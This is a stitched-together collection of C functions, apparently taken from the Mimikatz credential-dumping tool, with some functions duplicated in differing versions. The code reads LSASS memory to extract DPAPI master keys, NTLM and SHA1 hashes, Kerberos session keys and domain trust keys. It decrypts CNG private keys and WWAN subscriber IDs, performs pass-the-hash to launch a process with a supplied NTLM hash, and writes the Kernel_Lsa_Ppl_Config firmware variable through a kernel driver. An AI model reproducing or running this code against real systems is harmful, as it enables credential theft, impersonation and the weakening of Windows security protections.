void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo) { kprintf(L"\n\t Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime(&ticket->StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&ticket->EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&ticket->RenewUntil); kuhl_m_kerberos_ticket_displayExternalName(L"\n\t Service Name ", ticket->ServiceName, &ticket->DomainName); kuhl_m_kerberos_ticket_displayExternalName(L"\n\t Target Name ", ticket->TargetName, &ticket->TargetDomainName); kuhl_m_kerberos_ticket_displayExternalName(L"\n\t Client Name ", ticket->ClientName, &ticket->AltTargetDomainName); if(ticket->Description.Buffer) kprintf(L" ( %wZ )", &ticket->Description); kprintf(L"\n\t Flags %08x : ", ticket->TicketFlags); kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags); kprintf(L"\n\t Session Key : 0x%08x - %s", ticket->KeyType, kuhl_m_kerberos_ticket_etype(ticket->KeyType)); if(ticket->Key.Value) { kprintf(L"\n\t "); kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 0); } kprintf(L"\n\t Ticket : 0x%08x - %s ; kvno = %u", ticket->TicketEncType, kuhl_m_kerberos_ticket_etype(ticket->TicketEncType), ticket->TicketKvno); if(encodedTicketToo) { kprintf(L"\n\t "); if(ticket->Ticket.Value) kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1); else PRINT_ERROR_AUTO(L"NULL Ticket Value !"); } else kprintf(L"\t[...]"); }
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) { KIWI_MASTERKEY_CACHE_ENTRY mesCredentials; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aBuffer = {&mesCredentials, &hLocalMemory}, aKey = {NULL, &hLocalMemory}, aLsass = {NULL, pData->cLsass->hLsassMem}; PKUHL_M_SEKURLSA_PACKAGE pPackage = (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package; BYTE dgst[SHA_DIGEST_LENGTH]; DWORD monNb = 0; if(pData->LogonType != Network) { kuhl_m_sekurlsa_printinfos_logonData(pData); if(pPackage->Module.isInit || kuhl_m_sekurlsa_utils_search_generic(pData->cLsass, &pPackage->Module, MasterKeyCacheReferences, ARRAYSIZE(MasterKeyCacheReferences), (PVOID *) &pMasterKeyCacheList, NULL, NULL, NULL)) { aLsass.address = pMasterKeyCacheList; if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(LIST_ENTRY))) { aLsass.address = mesCredentials.Flink; while(aLsass.address != pMasterKeyCacheList) { if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY))) { if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId)) { kprintf(L"\t [%08x]\n\t * GUID :\t", monNb++); kull_m_string_displayGUID(&mesCredentials.KeyUid); kprintf(L"\n\t * Time :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime); if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize)) { aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key); if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize)) { (*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize); kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0); if(kull_m_crypto_hash(CALG_SHA1, aKey.address, mesCredentials.keySize, dgst, SHA_DIGEST_LENGTH)) { kprintf(L"\n\t * sha1(key) :\t"); kull_m_string_wprintf_hex(dgst, SHA_DIGEST_LENGTH, 0); kuhl_m_dpapi_oe_masterkey_add(&mesCredentials.KeyUid, dgst, SHA_DIGEST_LENGTH); } } LocalFree(aKey.address); } kprintf(L"\n"); } aLsass.address = mesCredentials.Flink; } else break; } } } else kprintf(L"\n\tKO"); kprintf(L"\n"); } return TRUE; }
NTSTATUS kuhl_m_dpapi_protect(int argc, wchar_t * argv[]) { DATA_BLOB dataIn, dataOut, dataEntropy = {0, NULL}; PKULL_M_DPAPI_BLOB blob; PCWSTR description = NULL, szEntropy, outfile; CRYPTPROTECT_PROMPTSTRUCT promptStructure = {sizeof(CRYPTPROTECT_PROMPTSTRUCT), CRYPTPROTECT_PROMPT_ON_PROTECT | CRYPTPROTECT_PROMPT_ON_UNPROTECT | CRYPTPROTECT_PROMPT_STRONG, NULL, MIMIKATZ}, *pPrompt; DWORD flags = 0, outputMode = 1; kull_m_string_args_byName(argc, argv, L"data", (PCWSTR *) &dataIn.pbData, MIMIKATZ); kull_m_string_args_byName(argc, argv, L"description", &description, NULL); if(kull_m_string_args_byName(argc, argv, L"entropy", &szEntropy, NULL)) kull_m_string_stringToHexBuffer(szEntropy, &dataEntropy.pbData, &dataEntropy.cbData); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) flags |= CRYPTPROTECT_LOCAL_MACHINE; pPrompt = kull_m_string_args_byName(argc, argv, L"prompt", NULL, NULL) ? &promptStructure : NULL; if(kull_m_string_args_byName(argc, argv, L"c", NULL, NULL)) outputMode = 2; kprintf(L"\ndata : %s\n", dataIn.pbData); kprintf(L"description : %s\n", description ? description : L""); kprintf(L"flags : "); kull_m_dpapi_displayProtectionFlags(flags); kprintf(L"\n"); kprintf(L"prompt flags: "); if(pPrompt) kull_m_dpapi_displayPromptFlags(pPrompt->dwPromptFlags); kprintf(L"\n"); kprintf(L"entropy : "); kull_m_string_wprintf_hex(dataEntropy.pbData, dataEntropy.cbData, 0); kprintf(L"\n\n"); dataIn.cbData = (DWORD) ((wcslen((PCWSTR) dataIn.pbData) + 1) * sizeof(wchar_t)); if(CryptProtectData(&dataIn, description, &dataEntropy, NULL, pPrompt, flags, &dataOut)) { if(blob = kull_m_dpapi_blob_create(dataOut.pbData)) { kull_m_dpapi_blob_descr(blob); kull_m_dpapi_blob_delete(blob); } kprintf(L"\n"); if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) { if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) kprintf(L"Write to file \'%s\' is OK\n", outfile); } else { kprintf(L"Blob:\n"); kull_m_string_wprintf_hex(dataOut.pbData, dataOut.cbData, outputMode | (16 << 16)); kprintf(L"\n"); } LocalFree(dataOut.pbData); } else PRINT_ERROR_AUTO(L"CryptProtectData"); if(dataEntropy.pbData) LocalFree(dataEntropy.pbData); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_sekurlsa_dpapi_system(int argc, wchar_t * argv[]) { NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, aLocal = {NULL, &hLocalMemory}; PKUHL_M_SEKURLSA_PACKAGE pPackage = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package; PVOID pBool = NULL, pShaSystem = NULL, pShaUser = NULL; BOOL fSystemCredsInitialized; BYTE origInit, rgbSystemCredMachine[SHA_DIGEST_LENGTH], rgbSystemCredUser[SHA_DIGEST_LENGTH]; if(NT_SUCCESS(status)) { if(pPackage->Module.isPresent) { origInit = pPackage->Module.isInit; if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &pPackage->Module, SysCredReferences, ARRAYSIZE(SysCredReferences), &pBool, &pShaSystem, &pShaUser, NULL)) { pPackage->Module.isInit = origInit; // trick to use same packages as normal module. aLocal.address = &fSystemCredsInitialized; aLsass.address = pBool; if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(fSystemCredsInitialized))) { if(fSystemCredsInitialized) { kprintf(L"DPAPI_SYSTEM\n"); aLocal.address = &rgbSystemCredMachine; aLsass.address = pShaSystem; if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(rgbSystemCredMachine))) { aLocal.address = &rgbSystemCredUser; aLsass.address = pShaUser; if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(rgbSystemCredUser))) { kprintf(L"full: "); kull_m_string_wprintf_hex(rgbSystemCredMachine, sizeof(rgbSystemCredMachine), 0); kull_m_string_wprintf_hex(rgbSystemCredUser, sizeof(rgbSystemCredUser), 0); kprintf(L"\nm/u : "); kull_m_string_wprintf_hex(rgbSystemCredMachine, sizeof(rgbSystemCredMachine), 0); kprintf(L" / "); kull_m_string_wprintf_hex(rgbSystemCredUser, sizeof(rgbSystemCredUser), 0); kprintf(L"\n"); } } } else PRINT_ERROR(L"Not initialized!\n"); } } } else PRINT_ERROR(L"DPAPI service not in LSASS memory\n"); } return status; }
NTSTATUS kuhl_m_sysenv_list(int argc, wchar_t * argv[]) { NTSTATUS status; PVARIABLE_NAME_AND_VALUE buffer; DWORD bufferLen = 0; status = NtEnumerateSystemEnvironmentValuesEx(VARIABLE_INFORMATION_VALUES, NULL, &bufferLen); if((status == STATUS_BUFFER_TOO_SMALL) && bufferLen) { if(buffer = (PVARIABLE_NAME_AND_VALUE) LocalAlloc(LPTR, bufferLen)) { status = NtEnumerateSystemEnvironmentValuesEx(VARIABLE_INFORMATION_VALUES, buffer, &bufferLen); if(NT_SUCCESS(status)) { for(; buffer; buffer = buffer->NextEntryOffset ? (PVARIABLE_NAME_AND_VALUE) ((PBYTE) buffer + buffer->NextEntryOffset) : NULL) { kprintf(L"Name : %s\nVendor GUID: ", buffer->Name); kuhl_m_sysenv_display_vendorGuid(&buffer->VendorGuid); kprintf(L"\nAttributes : %08x (", buffer->Attributes); kuhl_m_sysenv_display_attributes(buffer->Attributes); kprintf(L")\nLength : %u\nData : ", buffer->ValueLength); if(buffer->ValueLength && buffer->ValueOffset) kull_m_string_wprintf_hex((PBYTE) buffer + buffer->ValueOffset, buffer->ValueLength, 1); kprintf(L"\n\n"); } } else PRINT_ERROR(L"NtEnumerateSystemEnvironmentValuesEx(data): 0x%08x\n", status); LocalFree(buffer); } } else PRINT_ERROR(L"NtEnumerateSystemEnvironmentValuesEx(size): 0x%08x\n", status); return STATUS_SUCCESS; }
VOID kuhl_m_sekurlsa_genericKeyOutput(PMARSHALL_KEY key, PVOID * dirtyBase) { if(key && key->unkId) { switch(key->unkId) { case 0x00010002: case 0x00010003: kprintf(L"\n\t * NTLM : "); break; case 0x00020002: kprintf(L"\n\t * SHA1 : "); break; case 0x00030002: case 0x00030003: kprintf(L"\n\t * RootKey : "); break; case 0x00040002: case 0x00040003: kprintf(L"\n\t * DPAPI : "); break; default: kprintf(L"\n\t * %08x : ", key->unkId); } kull_m_string_wprintf_hex((PBYTE) *dirtyBase + sizeof(ULONG), key->length, 0); *dirtyBase = (PBYTE) *dirtyBase + sizeof(ULONG) + *(PULONG) *dirtyBase; } }
void kull_m_string_printSuspectUnicodeString(PVOID data, DWORD size) { UNICODE_STRING uString = {(USHORT) size, (USHORT) size, (LPWSTR) data}; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); }
NTSTATUS kuhl_m_dpapi_wwan(int argc, wchar_t * argv[]) { PBYTE pFile, hex, dataOut; DWORD dwData, lenHex, lenDataOut; LPWSTR dataU, dataF; LPCWSTR infile; PKULL_M_DPAPI_BLOB blob; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, &pFile, &dwData)) { if(dataU = kull_m_string_qad_ansi_to_unicode((const char *) pFile)) { if(kull_m_string_quickxml_simplefind(dataU, L"Name", &dataF)) { kprintf(L"Profile \'%s\'\n\n", dataF); LocalFree(dataF); } if(kull_m_string_quickxml_simplefind(dataU, L"AccessString", &dataF)) { kprintf(L" * AccessString : %s\n", dataF); LocalFree(dataF); } if(kull_m_string_quickxml_simplefind(dataU, L"SubscriberID", &dataF)) { if(kull_m_string_stringToHexBuffer(dataF, &hex, &lenHex)) { if(blob = kull_m_dpapi_blob_create(hex)) { kprintf(L"\n"); kull_m_dpapi_blob_descr(0, blob); if(kuhl_m_dpapi_unprotect_raw_or_blob(hex, lenHex, NULL, argc, argv, NULL, 0, (LPVOID *) &dataOut, &lenDataOut, NULL)) { kprintf(L" * SubscriberID : "); kull_m_string_wprintf_hex(dataOut, lenDataOut, 0); kprintf(L"\n"); kprintf(L"%.*s", lenDataOut / sizeof(wchar_t), dataOut); LocalFree(dataOut); } kull_m_dpapi_blob_delete(blob); } LocalFree(hex); } LocalFree(dataF); } LocalFree(dataU); } LocalFree(pFile); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input Wwan XML profile needed (/in:file)\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[]) { BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0}; TOKEN_STATISTICS tokenStats; MSV1_0_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE}; PCWCHAR szRun, szNTLM, pFakeUserName, pFakeLogonDomain; DWORD i, j, dwNeededSize; HANDLE hToken; PROCESS_INFORMATION processInfos; if(pFakeUserName = kuhl_m_sekurlsa_msv_pth_makefakestring(argc, argv, L"user", &data.UserName)) { if(pFakeLogonDomain = kuhl_m_sekurlsa_msv_pth_makefakestring(argc, argv, L"domain", &data.LogonDomain)) { if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) { kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); if(wcslen(szNTLM) == (LM_NTLM_HASH_LENGTH * 2)) { for(i = 0; i < LM_NTLM_HASH_LENGTH; i++) { swscanf_s(&szNTLM[i*2], L"%02x", &j); ntlm[i] = (BYTE) j; } kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); kprintf(L"Program\t: %s\n", szRun); if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, pFakeUserName, pFakeLogonDomain, L"", &processInfos, FALSE)) { kprintf( L" | PID %u\n" L" | TID %u\n", processInfos.dwProcessId, processInfos.dwThreadId); if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) { if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) { kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); kprintf(L" \\_ "); kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); } else PRINT_ERROR_AUTO(L"GetTokenInformation"); CloseHandle(hToken); } else PRINT_ERROR_AUTO(L"OpenProcessToken"); NtResumeProcess(processInfos.hProcess); CloseHandle(processInfos.hThread); CloseHandle(processInfos.hProcess); } else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); } else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n"); } else PRINT_ERROR(L"Missing argument : ntlm\n"); LocalFree((HLOCAL) pFakeLogonDomain); } LocalFree((HLOCAL) pFakeUserName); } return STATUS_SUCCESS; }
void kull_m_cred_vault_credential_attribute_descr(DWORD level, PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribute) { kprintf(L"%*s" L"**VAULT CREDENTIAL ATTRIBUTE**\n", level << 1, L""); if(attribute) { kprintf(L"%*s" L" id : %08x - %u\n", level << 1, L"", attribute->id, attribute->id); kprintf(L"%*s" L" unk0/1/2: %08x/%08x/%08x\n", level << 1, L"", attribute->unk0, attribute->unk1, attribute->unk2); if(attribute->szIV && attribute->IV) { kprintf(L"%*s" L" IV : ", level << 1, L""); kull_m_string_wprintf_hex(attribute->IV, attribute->szIV, 0); kprintf(L"\n"); } if(attribute->szData && attribute->data) { kprintf(L"%*s" L" Data : ", level << 1, L""); kull_m_string_wprintf_hex(attribute->data, attribute->szData, 0); kprintf(L"\n"); } } }
void kuhl_m_sekurlsa_trust_domainkeys(struct _KDC_DOMAIN_KEYS_INFO * keysInfo, PCWSTR prefix, BOOL incoming, PCUNICODE_STRING domain) { KULL_M_MEMORY_HANDLE hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsass = {keysInfo->keys, cLsass.hLsassMem}, aData = {NULL, &hBuffer}; DWORD i; PKDC_DOMAIN_KEYS domainKeys; if((keysInfo->keysSize && keysInfo->keys) || (keysInfo->password.Length && keysInfo->password.Buffer)) { kprintf(L"\n [%s] ", prefix); kprintf(incoming ? L"-> %wZ\n" : L"%wZ ->\n", domain); if(kull_m_string_getUnicodeString(&keysInfo->password, cLsass.hLsassMem)) { kprintf(L"\tfrom: "); if(kull_m_string_suspectUnicodeString(&keysInfo->password)) kprintf(L"%wZ", &keysInfo->password); else kull_m_string_wprintf_hex(keysInfo->password.Buffer, keysInfo->password.Length, 1); LocalFree(keysInfo->password.Buffer); } kprintf(L"\n"); if(keysInfo->keysSize && keysInfo->keys) { if(domainKeys = (PKDC_DOMAIN_KEYS) LocalAlloc(LPTR, keysInfo->keysSize)) { aData.address = domainKeys; if(kull_m_memory_copy(&aData, &aLsass, keysInfo->keysSize)) { for(i = 0; i < domainKeys->nbKeys; i++) { kprintf(L"\t* %s : ", kuhl_m_kerberos_ticket_etype(domainKeys->keys[i].type)); kull_m_string_wprintf_hex((PBYTE) domainKeys + domainKeys->keys[i].offset, domainKeys->keys[i].size, 0); kprintf(L"\n"); } } LocalFree(domainKeys); } } } }
NTSTATUS kuhl_m_kernel_sysenv_set(int argc, wchar_t * argv[]) { NTSTATUS status; LPCWSTR szName, szGuid, szAttributes, szData; UNICODE_STRING uName, uGuid; GUID guid; LPBYTE hex = NULL; DWORD size, attributes, nameLen, structSize; PMIMIDRV_VARIABLE_NAME_AND_VALUE vnv; kull_m_string_args_byName(argc, argv, L"name", &szName, L"Kernel_Lsa_Ppl_Config"); kull_m_string_args_byName(argc, argv, L"guid", &szGuid, L"{77fa9abd-0359-4d32-bd60-28f4e78f784b}"); kull_m_string_args_byName(argc, argv, L"attributes", &szAttributes, L"1"); kull_m_string_args_byName(argc, argv, L"data", &szData, L"00000000"); RtlInitUnicodeString(&uName, szName); RtlInitUnicodeString(&uGuid, szGuid); attributes = wcstoul(szAttributes, NULL, 0); status = RtlGUIDFromString(&uGuid, &guid); if(NT_SUCCESS(status)) { kprintf(L"Name : %wZ\nVendor GUID: ", &uName); kuhl_m_sysenv_display_vendorGuid(&guid); kprintf(L"\nAttributes : %08x (", attributes); kuhl_m_sysenv_display_attributes(attributes); kprintf(L")\n"); if(kull_m_string_stringToHexBuffer(szData, &hex, &size)) { kprintf(L"Length : %u\nData : ", size); kull_m_string_wprintf_hex(hex, size, 1); kprintf(L"\n\n"); nameLen = ((DWORD) wcslen(szName) + 1) * sizeof(wchar_t); structSize = FIELD_OFFSET(MIMIDRV_VARIABLE_NAME_AND_VALUE, Name) + nameLen + size; if(vnv = (PMIMIDRV_VARIABLE_NAME_AND_VALUE) LocalAlloc(LPTR, structSize)) { vnv->Attributes = attributes; RtlCopyMemory(&vnv->VendorGuid, &guid, sizeof(GUID)); vnv->ValueLength = size; vnv->ValueOffset = FIELD_OFFSET(MIMIDRV_VARIABLE_NAME_AND_VALUE, Name) + nameLen; RtlCopyMemory(vnv->Name, szName, nameLen); RtlCopyMemory((PBYTE) vnv + vnv->ValueOffset, hex, size); if(kull_m_kernel_mimidrv_simple_output(IOCTL_MIMIDRV_SYSENVSET, vnv, structSize)) kprintf(L"> OK!\n"); LocalFree(vnv); } LocalFree(hex); } } else PRINT_ERROR(L"RtlGUIDFromString: 0x%08x\n", status); return STATUS_SUCCESS; }
void kuhl_m_vault_list_descItemData(PVAULT_ITEM_DATA pData) { if(pData) { switch(pData->Type) { case ElementType_UnsignedShort: kprintf(L"%hu", pData->data.UnsignedShort); break; case ElementType_UnsignedInteger: kprintf(L"%u", pData->data.UnsignedInt); break; case ElementType_String: kprintf(L"%s", pData->data.String); break; case ElementType_ByteArray: kull_m_string_wprintf_hex(pData->data.ByteArray.Value, pData->data.ByteArray.Length, 1); break; default: kprintf(L"[Type %u] ", pData->Type); kull_m_string_wprintf_hex(&pData->data, 4, 1); } } }
void kull_m_key_cng_property_descr(DWORD level, PKULL_M_KEY_CNG_PROPERTY property) { kprintf(L"%*s" L"**KEY CNG PROPERTY**\n", level << 1, L""); if(property) { kprintf(L"%*s" L" dwStructLen : %08x - %u\n", level << 1, L"", property->dwStructLen, property->dwStructLen); kprintf(L"%*s" L" type : %08x - %u\n", level << 1, L"", property->type, property->type); kprintf(L"%*s" L" unk : %08x - %u\n", level << 1, L"", property->unk, property->unk); kprintf(L"%*s" L" dwNameLen : %08x - %u\n", level << 1, L"", property->dwNameLen, property->dwNameLen); kprintf(L"%*s" L" dwPropertyLen : %08x - %u\n", level << 1, L"", property->dwPropertyLen, property->dwPropertyLen); kprintf(L"%*s" L" pName : ", level << 1, L""); kprintf(L"%.*s\n", property->dwNameLen / sizeof(wchar_t), property->pName); kprintf(L"%*s" L" pProperty : ", level << 1, L""); kull_m_string_wprintf_hex(property->pProperty, property->dwPropertyLen, 0); kprintf(L"\n\n"); } }
NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) { PBYTE file; PVOID out; DWORD szFile, outLen, cbProperties; PKULL_M_KEY_CNG_BLOB cngKey; PKULL_M_KEY_CNG_PROPERTY * properties; LPCWSTR infile; PWSTR name; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, (PBYTE *) &file, &szFile)) { if(cngKey = kull_m_key_cng_create(file)) { kull_m_key_cng_descr(0, cngKey); if(kuhl_m_dpapi_unprotect_raw_or_blob(cngKey->pPrivateProperties, cngKey->dwPrivatePropertiesLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CNG_KEY_PROPERTIES, sizeof(KIWI_DPAPI_ENTROPY_CNG_KEY_PROPERTIES), &out, &outLen, L"Decrypting Private Properties:\n")) { if(kull_m_key_cng_properties_create(out, outLen, &properties, &cbProperties)) { kull_m_key_cng_properties_descr(0, properties, cbProperties); kull_m_key_cng_properties_delete(properties, cbProperties); } LocalFree(out); } if(kuhl_m_dpapi_unprotect_raw_or_blob(cngKey->pPrivateKey, cngKey->dwPrivateKeyLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB, sizeof(KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB), &out, &outLen, L"Decrypting Private Key:\n")) { kull_m_string_wprintf_hex(out, outLen, 0);kprintf(L"\n"); if(name = (PWSTR) LocalAlloc(LPTR, cngKey->dwNameLen + sizeof(wchar_t))) { RtlCopyMemory(name, cngKey->pName, cngKey->dwNameLen); kuhl_m_crypto_exportRawKeyToFile(out, outLen, TRUE, L"raw", 0, name, TRUE, TRUE); LocalFree(name); } LocalFree(out); } kull_m_key_cng_delete(cngKey); } LocalFree(file); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input CNG private key file needed (/in:file)\n"); return STATUS_SUCCESS; }
void kuhl_m_vault_list_descItemData(PVAULT_ITEM_DATA pData) { if(pData) { switch(pData->Type) { case ElementType_UnsignedShort: kprintf(L"[USHORT] %hu", pData->data.UnsignedShort); break; case ElementType_UnsignedInteger: kprintf(L"[DWORD] %u", pData->data.UnsignedInt); break; case ElementType_String: kprintf(L"[STRING] %s", pData->data.String); break; case ElementType_ByteArray: kprintf(L"[BYTE*] "); kull_m_string_wprintf_hex(pData->data.ByteArray.Value, pData->data.ByteArray.Length, 1); break; case ElementType_Sid: kprintf(L"[SID] "); kull_m_string_displaySID(pData->data.Sid); break; case ElementType_Attribute: kprintf(L"[ATTRIBUTE]\n"); kprintf(L"\t\t Flags : %08x - %u\n", pData->data.Attribute->Flags, pData->data.Attribute->Flags); kprintf(L"\t\t Keyword : %s\n", pData->data.Attribute->Keyword); kprintf(L"\t\t Value : "); kull_m_string_printSuspectUnicodeString(pData->data.Attribute->Value, pData->data.Attribute->ValueSize); break; default: kprintf(L"[Type %2u] ", pData->Type); kull_m_string_wprintf_hex(&pData->data, 4, 1); } } }
void kuhl_m_dpapi_displayInfosAndFree(PVOID data, DWORD dataLen, PSID sid) { BYTE digest[SHA_DIGEST_LENGTH]; kprintf(L" key : "); kull_m_string_wprintf_hex(data, dataLen, 0); kprintf(L"\n"); if(kull_m_crypto_hash(CALG_SHA1, data, dataLen, digest, sizeof(digest))) { kprintf(L" sha1: "); kull_m_string_wprintf_hex(digest, sizeof(digest), 0); kprintf(L"\n"); } LocalFree(data); if(sid) { kprintf(L" sid : "); kull_m_string_displaySID(sid); kprintf(L"\n"); LocalFree(sid); } }
NTSTATUS kuhl_m_sysenv_get(int argc, wchar_t * argv[]) { NTSTATUS status; LPCWSTR szName, szGuid; UNICODE_STRING uName, uGuid; GUID guid; DWORD bufferLen = 0, attributes; PVOID buffer; kull_m_string_args_byName(argc, argv, L"name", &szName, L"Kernel_Lsa_Ppl_Config"); kull_m_string_args_byName(argc, argv, L"guid", &szGuid, L"{77fa9abd-0359-4d32-bd60-28f4e78f784b}"); RtlInitUnicodeString(&uName, szName); RtlInitUnicodeString(&uGuid, szGuid); status = RtlGUIDFromString(&uGuid, &guid); if(NT_SUCCESS(status)) { kprintf(L"Name : %wZ\nVendor GUID: ", &uName); kuhl_m_sysenv_display_vendorGuid(&guid); kprintf(L"\n"); status = NtQuerySystemEnvironmentValueEx(&uName, &guid, NULL, &bufferLen, &attributes); if((status == STATUS_BUFFER_TOO_SMALL) && bufferLen) { if(buffer = LocalAlloc(LPTR, bufferLen)) { status = NtQuerySystemEnvironmentValueEx(&uName, &guid, buffer, &bufferLen, &attributes); if(NT_SUCCESS(status)) { kprintf(L"Attributes : %08x (", attributes); kuhl_m_sysenv_display_attributes(attributes); kprintf(L")\nLength : %u\nData : ", bufferLen); kull_m_string_wprintf_hex(buffer, bufferLen, 1); kprintf(L"\n"); } else PRINT_ERROR(L"NtQuerySystemEnvironmentValueEx(data): 0x%08x\n", status); LocalFree(buffer); } } else if(status == STATUS_VARIABLE_NOT_FOUND) PRINT_ERROR(L"System Environment Variable not found.\n"); else PRINT_ERROR(L"NtQuerySystemEnvironmentValueEx(size): 0x%08x\n", status); } else PRINT_ERROR(L"RtlGUIDFromString: 0x%08x\n", status); return STATUS_SUCCESS; }
void kull_m_cred_vault_clear_descr(DWORD level, PKULL_M_CRED_VAULT_CLEAR clear) { DWORD i; UNICODE_STRING creds; kprintf(L"%*s" L"**VAULT CREDENTIAL CLEAR ATTRIBUTES**\n", level << 1, L""); if(clear) { kprintf(L"%*s" L" version: %08x - %u\n", level << 1, L"", clear->version, clear->version); kprintf(L"%*s" L" count : %08x - %u\n", level << 1, L"", clear->count, clear->count); kprintf(L"%*s" L" unk : %08x - %u\n", level << 1, L"", clear->unk, clear->unk); if(clear->entries) { kprintf(L"\n"); for(i = 0; i < clear->count; i++) { kprintf(L"%*s" L" * ", level << 1, L""); switch(clear->entries[i]->id) { case 1: kprintf(L"ressource : "); break; case 2: kprintf(L"identity : "); break; case 3: kprintf(L"authenticator : "); break; default: kprintf(L"property %3u : ", clear->entries[i]->id); break; } creds.Buffer = (PWSTR) clear->entries[i]->data; creds.Length = creds.MaximumLength = (USHORT) clear->entries[i]->size; if((clear->entries[i]->id < 100) && kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%s", clear->entries[i]->data); else kull_m_string_wprintf_hex(clear->entries[i]->data, clear->entries[i]->size, 1); kprintf(L"\n"); } } } }
void kull_m_cred_attribute_descr(DWORD level, PKULL_M_CRED_ATTRIBUTE Attribute) { UNICODE_STRING uString; kprintf(L"%*s" L"**ATTRIBUTE**\n", level << 1, L""); if(Attribute) { kprintf(L"%*s" L" Flags : %08x - %u\n", level << 1, L"", Attribute->Flags, Attribute->Flags); kprintf(L"%*s" L" Keyword : %s\n", level << 1, L"", Attribute->Keyword); kprintf(L"%*s" L" Value : ", level << 1, L""); uString.Length = uString.MaximumLength = (USHORT) Attribute->ValueSize; uString.Buffer = (PWSTR) Attribute->Value; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); kprintf(L"\n"); } }
